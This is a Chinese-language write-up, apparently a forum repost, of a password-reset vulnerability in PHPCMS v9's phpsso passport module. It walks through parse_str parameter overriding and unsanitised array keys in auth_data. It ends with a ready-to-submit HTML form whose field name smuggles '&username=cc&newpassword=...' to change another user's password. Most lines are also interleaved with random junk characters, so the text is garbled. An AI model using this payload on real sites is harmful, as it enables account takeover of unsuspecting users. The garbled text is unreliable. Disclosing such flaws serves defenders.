提到的通行证的代码:
' m* M$ n, p9 d3 @, t/ X2 N6 \% M
) p' Q; X0 C# z& b; o1 l& Z% L1 J# Fparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
) g( Y! b1 @/ ?8 y6 s; f$ S4 a4 _5 @2 e7 _" D1 b
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。# s, Y; e1 _' I6 ^% U3 e/ t* J
2 |- A, {( t5 E
我把它留给了你们。
/ {# Z! l: c- F$ E6 E- G不知道你们发现了它没有。9 }, u; f5 ]" [) }7 M
2 U8 @1 e( Q, u$ O" E# [" z1 k% a我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。$ L7 ^0 w* X& z4 o
3 b/ p) v' @# a6 h7 W
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。! C8 q0 H2 R$ n; x
% a+ C6 ?% G( j1 v4 m/ J8 \也就是/ _4 S( g% v; O- F. i5 k
3 n3 q: a! \, wusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。$ p5 p' f& S2 E+ ?- k2 [
7 @* h! U2 [. l3 x' F9 V
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
K R7 _! _& M* M; K* a1 P) s3 k) s4 t; C6 L4 y6 S+ R! ^" h2 D
! y+ }1 E* n( }/ S0 [# {- j+ x
其实我们有这样的机会,看看代码,如下:
0 A2 C+ C) Z3 ^) I
+ @# |0 w) y( M6 V) @# Z
3 N* [! ~# n6 apublic function auth_data($data) {+ c( }2 U9 ?8 R' ~
$s = $sep = '';
) Q: A7 l7 H b foreach($data as $k => $v) {
( A% Y _( w4 L9 u& ~ if(is_array($v)) { M- t) Q+ ]$ E% ^
$s2 = $sep2 = '';9 f1 g, Q* g6 k- ?- [6 u
foreach($v as $k2 => $v2) {
. q. k5 I2 u) Z2 K $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
8 g9 y4 P3 u/ f $sep2 = '&';
( e% @5 m' D, k3 c }
; J' s" V; N, c8 |" d $s .= $sep.$s2;
$ n% L. F8 j8 o8 h- T% n8 z/ i } else {# B6 {+ k d+ R( e" e
$s .= "$sep$k=".$this->_ps_stripslashes($v);: R: \" `* b M0 J9 J" k1 C
}+ x- T' f4 B+ o; k9 @( i
$sep = '&';
- M1 x$ \+ ^5 O' H; B* V0 n- t }
3 U" Y9 ?% m3 A" s8 }9 B, [' S. O) V: z
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
% M! Y- ? a+ x# t4 j7 v% |4 m return $auth_s;& n/ |. ^, {' Q( U7 m# n
}
: Z3 U- i! g$ r. U* |
1 T5 T" ~6 Q, \1 W7 ^) n: n可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。! Q4 { R! T' p2 |! Y3 e% }1 b* I
( k. j& g! n n0 y& e举个例子
+ y- z: u4 O' N+ i
! ~7 N! T. f2 Y; j. C* i$a[aaa=a&bbb] = 'a';
# T' ~1 }! }$ f; @: I- B7 |, ^) n7 \, m& P
会变成aaa=a&bbb=a
# a f; T! c5 L, g) ?3 D7 H/ d, H1 s. Q# e" H; h0 c7 \
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。; _9 ~. Q1 D- \6 J& ~( P
1 r/ ^3 j1 O) n& k. h. A
这个时候,我们可以再去看一个函数。
$ w! `0 \# q! }
/ t( Q, c) ^7 W+ a) i+ z0 B' d就在这个文件内:7 m: F, ` p& n# {9 l" e
; j1 k2 w2 ^8 o5 ~* V; ]7 n$ X- r$ T+ a4 }' x
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {( i, E" q9 K; c+ M9 A6 u1 \: D5 @+ {
if($email && !$this->_is_email($email)) {8 z7 A* H' K* Z/ Y) d
return -4;
# R; y# s( Y6 z1 F9 t/ R+ ] }
# x; q _7 F+ P! E return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
* H! C5 \8 u1 e- N& e4 l; U, R }
) \2 m) m, i3 h0 s; R: r6 A: o
z& W( [7 Z1 B- j这是向通行证发了这样一个请求。
( u; u: C9 j- z' g. y* f8 v6 Z& r6 c3 k% c+ N0 ~
我们再跟到通信证代码里去看看,就会有所发现。5 B8 y) L7 D9 z) x. a5 g) M2 v+ D; }
& k6 ?; C! w N l2 I" u# v' Y6 z E* |) R0 S5 j
public function edit() {
7 t6 u3 o7 F' X3 l2 K- U- L4 C2 J2 ]//能省就省,太长了不是吗?
, M2 z+ `6 ~; ^5 c( V% m
2 G. `1 }% c& A4 X( O, Qif($this->username) {
2 }$ w+ r( x; E3 J//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
) O% I: l; q! | F; X+ k $res = $this->db->update($data, array('username'=>$this->username));' z- p T8 {! X, P# V
} else {
# p# t" O( w& u: U9 S. P file_put_contents('typeb.txt',print_r($data,1).$this->uid);$ k3 B0 ?. S+ ]
$res = $this->db->update($data, array('uid'=>$this->uid));
; T$ k; M+ |3 d+ Q- \& a }: g9 Q4 T( {& L% i
" E+ b1 }3 L0 a
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:- R3 X3 F5 x- j' h% M% _8 m) N: |. n
2 J! [9 K' ?2 w. apublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
+ ^7 d# U v1 C/ }7 l6 C6 n
' I G) p W$ D0 O' ~' \很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
# j9 o [ F1 r% w& L; U6 Y/ l) c/ V
我当然找到了:
1 r5 @' e* w. j& [1 r. ~, Cphpcms9/phpcms/modules/member/index.php) b6 o) ~( Y& e% j7 R0 A
5 B! l/ S8 k+ z7 R
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);# z3 ]; Q1 E: t5 q$ r, Y
- q7 g: j6 t, d, M; ^
然后就没有然后了。
4 O3 ?( v4 R2 ^! G1 F/ v. V7 X0 e) |; E8 m/ n7 _4 b9 Q2 W
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
+ k* h+ Z0 h2 @/ v, L' D <table width="100%" cellspacing="0" class="table_form">/ p: K1 q2 j& h( V u
<tr>
6 V4 Q E" t. t6 W9 C <th width="80">邮箱:</th>
% @1 N$ ?' K0 }" U <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>* V' M( G6 I) j, t
</tr>3 a. G" ~/ E6 c0 i- X* W4 P. e/ d
<tr>
! v4 o: U$ ^& |( L1 ~ <th width="80">原密码:</th>
( [; N, a5 U% a3 y5 G. b <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
3 t: S b7 W( j8 q: d- l6 G </tr>! C! ^& u. G4 `9 t" ^6 i2 s3 f
<tr> Q8 x* ~' P' l3 F2 M
<th>新密码:</th>4 o! z# I/ @2 {0 ?7 @; g9 ]- D
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>! v! R3 R# E0 b1 w ~1 U2 l
</tr>
) I/ R2 v) t" i: c( w/ G6 e! `( h <th></th>8 J1 H3 v4 B, z I# P- p0 F; t
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
* U- Z4 ]5 v: i$ |0 X </tr>7 z1 B! s4 l) n9 z v. t- U
</table>5 v! {; F' K) V3 o; c& |) ?
7 _1 K3 }5 G, b4 d
+ O, y2 [5 y, [( ~, w# P' A </form>2 P2 K2 {8 E$ A- j1 t& j* G
|